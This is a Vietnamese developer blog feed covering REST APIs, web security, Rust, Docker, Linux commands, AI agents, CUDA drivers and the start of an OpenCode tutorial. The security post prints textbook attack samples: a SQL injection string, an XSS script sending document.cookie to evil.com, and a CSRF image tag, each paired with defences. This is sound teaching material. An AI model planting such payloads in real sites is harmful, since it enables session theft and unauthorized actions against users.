Stoplight — Design-first API

# openapi.yaml
openapi: 3.1.0
info:
  title: My API
  version: 1.0.0
paths:
  /users:
    get:
      summary: List users
      parameters:
        - in: query
          name: page
          schema: { type: integer }
      responses:
        '200':
          description: User list

Kết Luận

REST API design không có "đúng tuyệt đối" — nhưng có những convention giúp API của bạn dễ dùng, dễ mở rộng. Quan trọng nhất: be consistent. Chọn một style và giữ nó xuyên suốt toàn bộ API.

Tài liệu tham khảo

Bảo Mật Web — Những Lỗ Hổng Phổ Biến Và Cách Phòng Tránh

Sun, 21 Jun 2026 00:00:00 GMT

Bảo mật không phải là tính năng — nó là trách nhiệm của mọi developer. Bạn không cần là chuyên gia security, nhưng cần biết những lỗ hổng phổ biến để không vô tình tạo ra chúng.

1. SQL Injection — Kẻ Thù Số 1

-- Code dễ bị tấn công
"SELECT * FROM users WHERE email = '" + userInput + "'"

-- Attacker nhập: ' OR '1'='1
-- Thành: SELECT * FROM users WHERE email = '' OR '1'='1'
-- → Lấy toàn bộ user!

Phòng Tránh

// ❌ Tệ — nối chuỗi
const query = `SELECT * FROM users WHERE id = ${id}`;

// ✅ Tốt — parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
db.query(query, [id]);

// Dùng ORM
const user = await prisma.user.findUnique({ where: { id } });

Rule: Không bao giờ nối chuỗi SQL với input người dùng.

2. XSS (Cross-Site Scripting)

Attacker chèn script độc hại vào trang web:

<!-- Input người dùng: --><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- Render ra: -->
<div>
  <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
</div>

Phòng Tránh

// ✅ Sanitize input — loại bỏ thẻ HTML nguy hiểm
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(userInput);

// ✅ CSP (Content Security Policy)
// Header: Content-Security-Policy: script-src 'self'
// Chỉ cho chạy script từ cùng domain

// ✅ React/Astro tự động escape HTML
// <div>{userInput}</div> → React escape, không chạy script

Rule: Không tin tưởng bất kỳ input nào từ người dùng.

3. CSRF (Cross-Site Request Forgery)

User đang đăng nhập ở bank.com. Attacker dụ user click link độc:

<img src="https://bank.com/transfer?amount=1000&to=attacker" />

Trình duyệt tự động gửi cookie — server tưởng user chủ động chuyển tiền.

Phòng Tránh

// ✅ CSRF Token — gửi kèm mỗi form
app.use(csurf({ cookie: true }));

// ✅ SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict

// ✅ Kiểm tra Referer/Origin header

4. Xác Thực & Phân Quyền

Lỗi Thường Gặp

// ❌ Tệ — dùng ID từ URL không kiểm tra quyền
app.get('/api/order/:id', (req, res) => {
  const order = db.getOrder(req.params.id);
  res.json(order);
});
// User A có thể xem order của User B bằng cách đổi ID

// ✅ Tốt — kiểm tra ownership
app.get('/api/order/:id', authenticate, (req, res) => {
  const order = db.getOrder(req.params.id);
  if (order.userId !== req.user.id) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  res.json(order);
});

JWT Best Practices

// Tạo token
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: '15m' } // Token ngắn hạn
);

// Refresh token (lưu trong DB/httpOnly cookie)
const refreshToken = crypto.randomUUID();

5. CORS — Không Phải Cứ Allow All Là Xong

// ❌ Tệ — cho phép tất cả
app.use(cors({ origin: '*' }));

// ✅ Tốt — whitelist cụ thể
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  credentials: true,
}));

6. Rate Limiting — Chống Brute Force

import rateLimit from 'express-rate-limit';

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 phút
  max: 100,                  // tối đa 100 request
  message: 'Too many requests',
});

app.use('/api/auth', limiter);

7. Dependency — Mắt Xích Yếu Nhất

# Kiểm tra lỗ hổng
npm audit
pnpm audit
bun audit

# GitHub Dependabot — tự động tạo PR update
# Snyk — quét CI/CD pipeline

npm ecosystem có hàng ngàn package — một package nhỏ bị compromise có thể ảnh hưởng toàn bộ hệ thống.

8. Environment Variables — Không Hardcode Secret

# ❌ Tệ — commit secret vào git
DATABASE_PASSWORD = "supersecret123"

# ✅ Tốt — .env (thêm vào .gitignore!)
DATABASE_PASSWORD = ${DB_PASSWORD}

// ❌ Tệ
const secret = 'sk-123456789';

// ✅ Tốt
const secret = process.env.API_KEY;
if (!secret) throw new Error('Missing API_KEY');

Checklist Bảo Mật Tối Thiểu

[ ] Parameterized queries cho database
[ ] Validate & sanitize mọi input
[ ] HTTPS everywhere (HTTP Strict Transport Security)
[ ] Cookie có httpOnly, secure, sameSite
[ ] CORS whitelist cụ thể
[ ] Rate limiting cho endpoint auth
[ ] No hardcode secret
[ ] npm audit trong CI
[ ] Dependency update định kỳ
[ ] Logging & monitoring

Kết Luận

Bảo mật là một quá trình, không phải đích đến. Không ai viết code an toàn 100% ngay từ đầu — nhưng biết các lỗ hổng phổ biến giúp bạn tránh được 90% rủi ro.

Tài liệu tham khảo

Rust — Ngôn Ngữ Tương Lai Của Lập Trình Hệ Thống

Sat, 20 Jun 2026 00:00:00 GMT

Rust đã giành chiến thắng "Most Loved Language" trên Stack Overflow suốt 9 năm liên tiếp. Không phải ngẫu nhiên — Rust mang lại tốc độ của C++ với safety của một ngôn ngữ hiện đại.

Rust Giải Quyết Vấn Đề Gì?

C/C++ cho phép bạn kiểm soát từng byte bộ nhớ — nhưng một sai sót nhỏ có thể gây ra buffer overflow, use-after-free, data race. Rust ngăn những lỗi này ngay tại compile time.

Ownership — Trái Tim Của Rust

fn main() {
    let s1 = String::from("hello");
    let s2 = s1; // s1 bị *move* vào s2

    // println!("{}", s1); // ❌ Lỗi compile! s1 không còn owner
    println!("{}", s2); // ✅ OK
}

Ba quy tắc Ownership:

Mỗi giá trị có một owner
Chỉ một owner tại một thời điểm
Owner ra khỏi scope → giá trị bị drop

Borrowing — Mượn Không Chiếm

fn calculate_len(s: &String) -> usize {
    s.len()
} // s được trả về, không drop

fn main() {
    let s = String::from("hello");
    let len = calculate_len(&s); // Mượn (&), không move
    println!("{}: {}", s, len); // ✅ OK, s vẫn còn
}

Mutable vs Immutable Borrow

let mut s = String::from("hello");

let r1 = &s;     // OK
let r2 = &s;     // OK (nhiều immutable borrow)
let r3 = &mut s; // ❌ Lỗi! Không thể vừa immutable vừa mutable

println!("{}, {}", r1, r2);

Luật: Một trong hai — nhiều reader hoặc một writer. Không bao giờ cả hai cùng lúc.

Pattern Match — Của Để Dành

enum Result<T, E> {
    Ok(T),
    Err(E),
}

fn divide(a: f64, b: f64) -> Result<f64, String> {
    if b == 0.0 {
        Err("Cannot divide by zero".to_string())
    } else {
        Ok(a / b)
    }
}

fn main() {
    match divide(10.0, 0.0) {
        Ok(result) => println!("Result: {}", result),
        Err(msg) => println!("Error: {}", msg),
    }
}

Error Handling — Không Có Exception

Rust không có try/catch. Thay vào đó dùng Result và ?:

use std::fs::File;
use std::io::Read;

fn read_file(path: &str) -> Result<String, std::io::Error> {
    let mut file = File::open(path)?; // Nếu Err → return luôn
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

Cargo — Trình Quản Lý Package Tốt Nhất Hệ Mặt Trời

cargo new myapp # Tạo project mới
cargo build # Build
cargo run # Chạy
cargo test # Chạy test
cargo check # Kiểm tra lỗi (nhanh, không build)
cargo add serde # Thêm dependency
cargo fmt # Format code
cargo clippy # Lint — phát hiện lỗi tiềm ẩn

Ecosystem Nổi Bật

| Lĩnh vực | Framework/Thư viện | |---|---| | Web backend | Axum, Actix-web, Rocket | | CLI | clap, rustyline | | Database | sqlx, diesel, sea-orm | | Networking | Tokio (async runtime) | | WASM | wasm-pack, yew, leptos | | Embedded | Embassy, rtic | | GUI | Tauri (desktop app), egui, slint | | Game | Bevy, macroquad |

Rust Trong Thực Tế

Firefox — Dùng Rust viết engine CSS (Servo → Stylo)
Linux kernel — Đã chính thức hỗ trợ Rust từ 6.1
Cloudflare — Pingora (HTTP proxy thay thế nginx)
Dropbox — Hệ thống đồng bộ file
Discord — Real-time chat service
Meta — Diem blockchain, các internal tool

Nên Bắt Đầu Thế Nào?

# 1. Cài Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# 2. Đọc sách (miễn phí)
# https://doc.rust-lang.org/book/

# 3. Làm bài tập
# https://rustlings.cool/

# 4. Xây thứ gì đó
# CLI tool, web server, hoặc game đơn giản

Kết Luận

Rust không dễ — learning curve dốc hơn hầu hết ngôn ngữ khác. Nhưng một khi đã hiểu Ownership, bạn sẽ thấy: Rust không chỉ là ngôn ngữ an toàn, nó còn giúp bạn viết code đúng ngay từ lần đầu. Khoản đầu tư xứng đáng cho 10 năm tới.

Tài liệu tham khảo

Docker Cho Lập Trình Viên — Từ Dev Đến Deploy

Fri, 19 Jun 2026 00:00:00 GMT

Docker đã thay đổi cách chúng ta phát triển và triển khai phần mềm. "Chạy được trên máy tôi" không còn là câu nói cửa miệng nữa — nếu nó chạy trong container, nó chạy ở mọi nơi.

Docker Là Gì?

Docker là nền tảng container hóa. Khác với VM (máy ảo), container dùng chung kernel host, không cần guest OS riêng:

| | VM | Container | |---|---|---| | Kích thước | GB | MB | | Khởi động | Phút | Giây | | Tài nguyên | Nhiều | Nhẹ | | Cô lập | Kernel riêng (mạnh) | Chia sẻ kernel (đủ) |

Dockerfile — Công Thức Tạo Container

FROM node:20-alpine

WORKDIR /app

COPY package.json package-lock.json ./
RUN npm ci --production

COPY . .

EXPOSE 3000

CMD ["node", "dist/index.js"]

Multi-stage Build — Tối Ưu Kích Thước

# Stage 1: Build
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# Stage 2: Production
FROM node:20-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
EXPOSE 3000
CMD ["node", "dist/index.js"]

Container cuối chỉ chứa đúng những gì cần chạy — thường nhỏ hơn 5 lần so với không dùng multi-stage.

Docker Compose — Môi Trường Dev Hoàn Chỉnh

services:
  app:
    build: .
    ports:
      - '3000:3000'
    volumes:
      - .:/app
      - /app/node_modules
    environment:
      - DATABASE_URL=postgres://user:pass@db:5432/myapp
    depends_on:
      - db

  db:
    image: postgres:16-alpine
    volumes:
      - pgdata:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=pass

volumes:
  pgdata:

Chạy cả stack với một lệnh:

docker compose up -d
docker compose logs -f
docker compose down

Docker CLI — Lệnh Cần Nhớ

# Quản lý container
docker ps # Container đang chạy
docker ps -a # Tất cả container
docker logs -f <container> # Live log
docker exec -it <container> sh # Vào shell trong container
docker stop <container> # Dừng
docker rm <container> # Xóa

# Images
docker images # Danh sách image
docker rmi <image> # Xóa image
docker pull node:20-alpine # Kéo image từ registry
docker build -t myapp . # Build image

# Dọn dẹp
docker system prune -a # Xóa container, image, cache không dùng

Docker Cho CI/CD

# .github/workflows/deploy.yml
jobs:
  build-and-push:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: docker build -t myapp:${{ github.sha }} .
      - run: docker push registry.example.com/myapp:${{ github.sha }}

Docker Compose Cho Production

Dùng Docker Compose cũng được, nhưng production nên dùng orchestration:

| Công cụ | Khi nào dùng | |---|---| | Docker Compose | 1 server, stack đơn giản | | Docker Swarm | Nhiều server, tích hợp sẵn | | Kubernetes | Scale lớn, yêu cầu phức tạp |

Mẹo Hay

.dockerignore

node_modules
.git
.env
*.md
dist

Giảm Số Layer

# Tệ — mỗi RUN tạo một layer
RUN apt-get update
RUN apt-get install -y curl
RUN rm -rf /var/lib/apt/lists/*

# Tốt — gộp lại
RUN apt-get update && \
    apt-get install -y curl && \
    rm -rf /var/lib/apt/lists/*

Không Chạy Container Bằng Root

RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser

Kết Luận

Docker không còn là "option" — nó là tiêu chuẩn. Dù bạn làm fullstack, backend, hay DevOps, biết Docker giúp bạn:

Chuẩn hóa môi trường dev
Deploy nhất quán
Scale dễ dàng
Hợp tác với team dễ hơn

Hãy bắt đầu: docker init (Docker mới có lệnh này) hoặc tự viết Dockerfile đầu tiên cho project hiện tại của bạn.

Tài liệu tham khảo

Linux Cho Developer: Những Lệnh Cơ Bản Ai Cũng Cần Biết

Thu, 18 Jun 2026 00:00:00 GMT

Dù bạn là web developer, mobile developer hay data scientist, Linux là môi trường bạn không thể tránh khỏi — server chạy Linux, CI/CD chạy Linux, thậm chí macOS cũng là họ hàng Unix. Bài này tổng hợp các lệnh Linux thiết yếu bạn cần biết.

1. Quản Lý File Và Thư Mục

Di Chuyển Và Xem

pwd # In ra thư mục hiện tại
ls -lah # Liệt kê file với quyền, kích thước, ngày
tree -L 2 # Cây thư mục, sâu 2 cấp
cd - # Quay lại thư mục trước đó

Tìm Kiếm

find . -name "*.ts" -type f # Tìm file .ts
find . -size +1M # File lớn hơn 1MB
grep -rn "TODO" --include="*.ts" # Tìm TODO trong file .ts
locate nginx.conf # Tra cứu nhanh (cần updatedb)

2. Xem Và Quản Lý Tiến Trình

ps aux # Danh sách tiến trình
top # Real-time, tương tác
htop # Đẹp hơn top (cần cài)
kill -9 PID # Kill tiến trình cứng đầu
kill -15 PID # Graceful shutdown
lsof -i :3000 # Process nào đang giữ port 3000

3. Network

curl -I https://example.com # Chỉ lấy header HTTP
curl -X POST https://api.example.com # Gửi POST request
ping -c 4 google.com # Kiểm tra kết nối
traceroute google.com # Xem đường đi gói tin
ss -tuln # Port nào đang lắng nghe
nc -zv host 22 # Kiểm tra port có mở không

4. Disk Và Memory

df -h # Dung lượng ổ cứng
du -sh * # Dung lượng từng thư mục con
du -sh --exclude=node_modules . # Bỏ qua node_modules
free -h # RAM

5. File Permissions

chmod 755 script.sh # -rwxr-xr-x: owner full, group/other đọc+chạy
chmod +x script.sh # Thêm execute
chown user:group file # Đổi chủ sở hữu
umask 022 # Mặc định: file 644, folder 755

6. SSH Keys & Remote

ssh-keygen -t ed25519 -C "email@example.com" # Tạo key
ssh-copy-id user@server # Copy key lên server
ssh -i ~/.ssh/custom_key user@host -p 2222 # Custom key và port
rsync -avz --progress ./dist/ user@server:/var/www/ # Sync thư mục

7. Logs Và Systemd

journalctl -u nginx --since "1 hour ago" # Log của service nginx
journalctl -f # Live log
systemctl status nginx # Trạng thái service
systemctl restart nginx # Restart service

Mẹo Nhỏ Tiết Kiệm Thời Gian

# Lịch sử lệnh
history | grep docker
!! # Chạy lại lệnh trước
!$ # Tham số cuối của lệnh trước
!docker # Chạy lệnh docker gần nhất

# Alias hữu ích (thêm vào ~/.zshrc hoặc ~/.bashrc)
alias gs="git status"
alias gp="git push"
alias ll="ls -lah"
alias ..="cd .."

Kết Luận

Linux không đáng sợ như bạn nghĩ. Học 20 lệnh trên đây là bạn đã xử lý được 90% tình huống hàng ngày. Còn lại — Google là bạn. Và nhớ: man là người bạn tốt nhất của bạn (man ls, man grep...).

Tài liệu tham khảo

AI Agent — Khi AI Tự Lập Kế Hoạch Và Thực Thi

Mon, 15 Jun 2026 00:00:00 GMT

Chatbot thụ động đang lùi vào dĩ vãng. Thay vào đó là các AI Agent — hệ thống có khả năng chủ động lập kế hoạch, gọi công cụ bên ngoài, và thực thi tác vụ nhiều bước mà không cần con người can thiệp từng bước.

AI Agent Khác Gì Chatbot Thường?

| Chatbot truyền thống | AI Agent | |---|---| | Trả lời dựa trên prompt đơn lẻ | Có memory và context xuyên suốt | | Không thể tự động làm gì ngoài trò chuyện | Có thể chạy code, gọi API, đọc file | | Mỗi câu hỏi là một phiên riêng biệt | Có khả năng suy luận nhiều bước (multi-step reasoning) | | Không tự kiểm tra kết quả | Có thể tự đánh giá và sửa sai (self-healing) |

Kiến Trúc Cơ Bản Của AI Agent

Một AI Agent điển hình gồm ba thành phần chính:

1. Core Model (LLM)

Trái tim của agent — một mô hình ngôn ngữ lớn có khả năng suy luận. Các model phổ biến: GPT-4, Claude 3.5 Sonnet, Gemini, DeepSeek, Llama 3.

2. Tool System

Agent không chỉ nói — nó cần làm. Tool system cung cấp các "đôi tay" cho agent:

Code interpreter — Chạy Python, JavaScript, shell command
File I/O — Đọc, ghi, tìm kiếm file
Web search — Tìm kiếm thông tin trên Internet
API calls — Gọi REST API, database query
Browser — Tương tác với trình duyệt web

3. Memory & Context

Short-term memory — Context window của LLM, chứa toàn bộ lịch sử hội thoại và kết quả tool call
Long-term memory — RAG, vector database, file system để lưu thông tin lâu dài

Các Loại AI Agent Phổ Biến

ReAct Agent (Reasoning + Acting)

Đây là pattern phổ biến nhất. Agent luân phiên giữa suy luận (reason) và hành động (act):

Thought: Tôi cần tìm hiểu thời tiết hôm nay
Action: gọi API thời tiết tại Hà Nội
Observation: 35°C, nắng
Thought: Trời nắng, tôi sẽ gợi ý người dùng mang ô
Action: trả lời người dùng

Framework tiêu biểu: LangChain Agent, OpenAI Function Calling.

Plan-and-Execute Agent

Agent lập kế hoạch trước, sau đó thực thi từng bước:

Plan:
1. Đọc file requirements.txt
2. Tìm phiên bản mới nhất của từng package
3. Tạo file requirements-updated.txt
4. Chạy test để kiểm tra tương thích

Sau đó agent thực thi từng bước, có thể điều chỉnh kế hoạch nếu gặp lỗi.

Multi-Agent System

Nhiều agent chuyên biệt hợp tác với nhau:

Orchestrator Agent — Nhận yêu cầu, chia nhỏ task, giao cho các agent khác
Coder Agent — Viết code
Reviewer Agent — Review code, tìm bug
Tester Agent — Viết và chạy test
Docs Agent — Viết tài liệu

Ứng Dụng Thực Tế

Lập Trình (Coding Agent)

Đây là ứng dụng phát triển nhanh nhất hiện nay:

OpenCode — Agent CLI mã nguồn mở, đọc codebase, chạy lệnh, chỉnh sửa file
Cursor Agent Mode — Agent tích hợp trong IDE, tự động duyệt code và thực thi
GitHub Copilot Agent — Tạo PR hoàn chỉnh từ issue description
Devin — "AI software engineer" đầu tiên, có thể nhận task cả tuần

Customer Support

Agent có thể:

Tra cứu thông tin khách hàng
Xử lý hoàn tiền, đổi trả
Tạo ticket, gán đúng phòng ban
Leo thang khi cần người thật

Nghiên Cứu

Tự động tìm kiếm tài liệu
Phân tích và tổng hợp thông tin
Tạo báo cáo có trích dẫn nguồn

Thử Nghiệm: Xây Agent Đơn Giản Với OpenCode

OpenCode là một coding agent chạy trong terminal. Bạn có thể thử ngay:

# Cài đặt
npm install -g @opencode/cli

# Bắt đầu phiên làm việc
opencode

Khi đã vào giao diện chat, thử yêu cầu:

"Add input validation to the login form, write unit tests for it, and make sure all existing tests still pass."

Agent sẽ:

Đọc codebase để hiểu cấu trúc hiện tại
Thêm validation cho form đăng nhập
Viết unit test cho validation mới
Chạy test suite để đảm bảo không hỏng gì

Thách Thức Khi Làm Việc Với AI Agent

1. Hallucination

Agent có thể tin tưởng vào kết quả sai. Giải pháp: thêm verification step, dùng external source làm ground truth.

2. Tool Call Lỗi

Agent có thể gọi sai API, dùng sai tham số. Giải pháp: thiết kế tool interface rõ ràng, thêm error handling, retry mechanism.

3. Chi Phí

Agent gọi LLM nhiều lần, có thể tốn kém. Giải pháp: dùng model nhỏ cho task đơn giản, cache kết quả giống nhau.

4. Bảo Mật

Agent có quyền truy cập hệ thống. Giải pháp: permission system, sandbox, human-in-the-loop cho hành động nguy hiểm.

Framework Phát Triển AI Agent

| Framework | Ngôn ngữ | Đặc điểm | |---|---|---| | LangChain | Python | Hệ sinh thái lớn, nhiều tích hợp | | CrewAI | Python | Multi-agent, dễ dùng | | AutoGen | Python | Agent hợp tác, từ Microsoft | | OpenAI Agents SDK | Python | Chính thức từ OpenAI | | Vercel AI SDK | TypeScript | Agent cho web app |

Tương Lai

AI Agent đang tiến hoá theo hướng:

Long-running agent — Làm việc hàng giờ, thậm chí hàng ngày
Agent-to-agent communication — Agent tự động thuê agent khác
Agent marketplace — Mua bán agent chuyên biệt cho từng lĩnh vực

AI Agent không thay thế con người — nó thay thế sự nhàm chán. Bạn vẫn là người ra quyết định, nhưng không còn phải tự mò mẫm từng bước thực thi.

Tài liệu tham khảo

Trình Điều Khiển Cho AI — CUDA Và Hạ Tầng Phần Mềm

Mon, 15 Jun 2026 00:00:00 GMT

Khi nhắc đến AI và Machine Learning, đa số lập trình viên nghĩ ngay đến model architecture, training pipeline hay dataset. Nhưng ít ai để ý rằng phía dưới tất cả những lớp trừu tượng đó là một tầng phần mềm quan trọng không kém: trình điều khiển (driver).

Không có driver, GPU — thứ não bộ của AI hiện đại — chỉ là một khối silicon chết. Bài viết này sẽ đi sâu vào hệ sinh thái driver cho AI, từ NVIDIA CUDA đến các giải pháp mã nguồn mở.

GPU Driver — Lớp Nền Tảng

Trước khi chạy bất kỳ framework AI nào, bạn cần GPU driver. Đây là lớp phần mềm thấp nhất giao tiếp giữa hệ điều hành và GPU:

NVIDIA Driver — Driver độc quyền của NVIDIA, hỗ trợ toàn bộ dòng GeForce, Quadro, Tesla và Data Center GPU
AMD ROCm — Nỗ lực mã nguồn mở của AMD để cạnh tranh với CUDA
Intel oneAPI — Nền tảng unified cho CPU, GPU và accelerator của Intel

Driver chịu trách nhiệm quản lý bộ nhớ GPU, lập lịch thực thi, và cung cấp API cấp thấp (ioctl, syscall) cho userspace.

CUDA — Ngôn Ngữ Chung Của AI

CUDA (Compute Unified Device Architecture) là nền tảng tính toán song song của NVIDIA, ra mắt năm 2007. Hầu hết mọi framework AI hiện đại đều chạy trên CUDA:

PyTorch → cuDNN → CUDA → NVIDIA Driver → GPU
TensorFlow → XLA → cuDNN → CUDA → NVIDIA Driver → GPU

Các Thành Phần Trong Hệ Sinh Thái CUDA

CUDA Toolkit — Bộ công cụ phát triển gồm:

nvcc — trình biên dịch CUDA C/C++
CUDA runtime API và driver API
Thư viện math: cuBLAS (ma trận), cuFFT (Fourier), cuSparse (ma trận thưa), cuRAND (ngẫu nhiên)
CUDA Profiling Tools cho performance tuning

cuDNN — Thư viện tối ưu cho deep learning:

Tích hợp sâu vào PyTorch, TensorFlow, JAX, PaddlePaddle
Hỗ trợ convolution, pooling, normalization, activation functions
Tối ưu cho từng kiến trúc GPU cụ thể (Turing, Ampere, Hopper, Blackwell)

TensorRT — Inference optimizer:

Lượng tử hoá (FP16, INT8, INT4)
Kernel tự động tối ưu cho GPU đích
Giảm latency đến 5-10 lần so với framework thuần

Tại Sao Driver Lại Quan Trọng Với AI?

1. Hiệu Năng

Một driver không tối ưu có thể làm giảm 30-50% hiệu suất training. NVIDIA liên tục ra các bản driver tối ưu riêng cho từng kiến trúc model:

# Kiểm tra driver và CUDA version trên Linux
nvidia-smi
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 560.94       Driver Version: 560.94       CUDA Version: 12.8     |
+-----------------------------------------------------------------------------+

2. Tương Thích

Không phải phiên bản CUDA nào cũng tương thích với mọi driver. Bảng tương thích thường như sau:

| CUDA Version | Driver Version Tối Thiểu | |---|---| | CUDA 12.8 | 560.x | | CUDA 12.4 | 550.x | | CUDA 12.0 | 525.x | | CUDA 11.8 | 520.x |

Mỗi lần upgrade CUDA toolkit, bạn thường phải upgrade driver kèm theo — nếu không, framework sẽ báo lỗi khó hiểu.

3. Quản Lý Bộ Nhớ

AI model ngày càng lớn (Llama 3 405B, GPT-4 class), driver phải quản lý việc chia nhỏ model ra nhiều GPU, swap CPU-GPU memory, và tối ưu bandwidth:

Unified Memory — Cho phép CPU và GPU chia sẻ không gian địa chỉ chung
CUDA Graphs — Giảm overhead driver bằng cách batch nhiều kernel launch
NCCL (NVIDIA Collective Communications Library) — Tối ưu giao tiếp đa GPU, đa node

ROCm — Đối Thủ Mã Nguồn Mở

Trước đây AMD gần như vắng bóng trong làng AI. Nhưng với ROCm (Radeon Open Compute), AMD đã có những bước tiến đáng kể:

HIP (Heterogeneous Interface for Portability) — Cho phép chạy code CUDA trên AMD GPU
Composable Kernel (CK) — Thư viện kernel tối ưu cho AMD GPU
Hỗ trợ PyTorch, TensorFlow, JAX thông qua phiên bản riêng (rocm/pytorch)

Điểm yếu hiện tại: tài liệu còn hạn chế, hỗ trợ GPU còn ít (chủ yếu dòng Instinct và Radeon Pro), và hiệu năng vẫn thua CUDA trên cùng phân khúc.

Thực Hành: Kiểm Tra Và Tối Ưu Driver AI

Kiểm tra hệ thống

# Kiểm tra driver GPU (Linux)
nvidia-smi

# Kiểm tra CUDA version
nvcc --version

# Kiểm tra cuDNN version
cat /usr/include/cudnn_version.h | grep CUDNN_MAJOR -A 2

# Kiểm tra TensorRT version
dpkg -l | grep TensorRT

Chọn đúng phiên bản

Quy tắc chung khi thiết lập môi trường AI:

Xác định GPU bạn có (compute capability)
Chọn CUDA version phù hợp với framework (PyTorch thường yêu cầu CUDA cụ thể)
Chọn driver version tương thích với CUDA đó
Cài cuDNN và TensorRT cùng version với CUDA

Tương Lai Của Driver Cho AI

NVIDIA Blackwell — Thế hệ GPU mới nhất có hardware engine riêng cho transformer inference, giảm tải cho driver.

Open Source Driver — NVIDIA đã mở mã nguồn kernel module driver từ 2022. Dần dần, cộng đồng Linux có thể hưởng lợi từ nouveau + NVIDIA firmware blend.

Unified Acceleration — Các nỗ lực như OpenXLA, MLIR, Triton đang tạo ra một tầng trung gian giữa model và phần cứng, giúp giảm phụ thuộc vào một vendor driver duy nhất.

Kết Luận

Trình điều khiển không phải chủ đề hào nhoáng nhất trong AI, nhưng nó là hạ tầng không thể thiếu. Mỗi lần bạn chạy model.train() trong PyTorch, phía sau là hàng triệu dòng code driver, thư viện CUDA, kernel tối ưu đang làm việc để biến ý tưởng của bạn thành kết quả.

Hiểu về driver giúp bạn:

Debug nhanh hơn khi gặp lỗi CUDA
Chọn đúng cấu hình phần cứng cho dự án
Tối ưu hiệu suất training và inference
Không còn sợ màn hình lỗi đỏ CUDA error: out of memory

Tài liệu tham khảo

Hướng Dẫn Sử Dụng OpenCode — AI Coding Agent Trong Terminal

Mon, 15 Jun 2026 00:00:00 GMT

OpenCode là AI coding agent mã nguồn mở chạy trong terminal, IDE hoặc desktop app. Nó có thể đọc codebase, chạy lệnh, sửa file, và tương tác với bạn qua chat — tất cả ngay trong cửa sổ terminal quen thuộc.

Bài viết này hướng dẫn từ cài đặt đến sử dụng thành thạo.

Cài Đặt

macOS / Linux

curl -fsSL https://opencode.ai/install | bash

npm (mọi nền tảng)

npm install -g opencode-ai

Windows

Khuyến nghị dùng WSL. Ngoài ra có thể cài qua:

choco install opencode # Chocolatey
scoop install opencode # Scoop
npm install -g opencode-ai

Homebrew (macOS/Linux)

brew install anomalyco/tap/opencode

Sau khi cài, chạy opencode --version để kiểm tra.

Kết Nối LLM Provider

Lần đầu chạy, OpenCode cần một provider để xử lý ngôn ngữ. Có ba cách:

Cách 1: OpenCode Zen (dễ nhất)

Trong TUI, gõ /connect, chọn opencode, truy cập opencode.ai/auth, đăng ký và copy API key về dán vào terminal.

Cách 2: Dùng API key có sẵn

/connect

Chọn provider như OpenAI, Anthropic, Google Gemini, hoặc GitHub Copilot — rồi nhập API key.

Cách 3: Config file

Tạo hoặc sửa file ~/.config/opencode/config.jsonc:

{
  "provider": "anthropic",
  "apiKey": "sk-ant-..."
}

Khởi Tạo Dự Án

cd /path/to/du-an
opencode

Sau khi vào giao diện chat, gõ: /init

OpenCode sẽ phân tích dự án và tạo file AGENTS.md — file này chứa hướng dẫn về cấu trúc, coding style, conventions của dự án. Nên commit file này vào git.

Giao Diện TUI (Terminal UI)

Khi chạy opencode, bạn sẽ thấy:

Vùng chat — tương tác với AI
Thanh input — gõ prompt ở dưới cùng
Indicator góc phải dưới — hiển thị Plan mode hay Build mode

Plan mode vs Build mode

| Mode | Tab | AI làm gì | |---|---|---| | Plan | Tab lần 1 | Chỉ đề xuất, không chạm vào code | | Build | Tab lần 2 | Đọc, sửa, tạo file thực tế |

Luôn dùng Plan mode trước khi cho AI sửa code phức tạp — kiểm tra kế hoạch rồi mới chuyển sang Build.

Các Lệnh Cơ Bản

| Lệnh | Mô tả | |---|---| | /init | Phân tích dự án, tạo AGENTS.md | | /connect | Kết nối LLM provider | | /undo | Hoàn tác thay đổi cuối | | /redo | Làm lại thay đổi đã undo | | /share | Tạo link chia sẻ session | | /clear | Xoá lịch sử chat | | Ctrl+C | Thoát |

Cách Đặt Câu Hỏi Hiệu Quả

1. Dùng @ để tham chiếu file

@src/utils/auth.ts có vấn đề gì không?

Gõ @ rồi tìm tên file — OpenCode sẽ đọc file đó và thêm vào context.

2. Hỏi về codebase

Giải thích flow đăng nhập trong dự án này.
Hệ thống routing hoạt động thế nào?

3. Yêu cầu thay đổi

Thêm validate email vào form đăng ký ở @src/components/Signup.tsx.
Dùng zod schema, trả về lỗi dễ đọc.
Chạy test sau khi xong.

4. Plan trước khi build

Bấm Tab để chuyển sang Plan mode:

Thêm tính năng quên mật khẩu:
Gửi email reset link
Token hết hạn sau 1 giờ
UI reset password

Xem kế hoạch, góp ý, rồi bấm Tab lần nữa để AI bắt đầu làm.

Undo/Redo — An Toàn Khi Dùng AI

OpenCode ghi lại từng thay đổi. Sai thì /undo:

/undo # hoàn tác thay đổi cuối
/undo # gọi tiếp để undo thêm
/redo # làm lại nếu undo nhầm

Chia Sẻ Session

/share

Tạo link có thể gửi cho đồng nghiệp — họ sẽ thấy toàn bộ hội thoại và thay đổi. Link mẫu: https://opencode.ai/s/4XP1fce5

Tuỳ Biến OpenCode

Theme

Chọn theme trong file config hoặc qua lệnh: /theme

Xem thêm: Themes

Config

File ~/.config/opencode/config.jsonc cho phép tuỳ chỉnh sâu:

Keybind
Model mặc định
Formatter
Permission rules

Rules (file AGENTS.md)

File AGENTS.md trong project hướng dẫn AI về:

Coding conventions
Stack và framework
Kiến trúc dự án
Những điều cần tránh

Thực Hành: Một Phiên Làm Việc Mẫu

# 1. Mở terminal, vào project
cd ~/projects/my-app

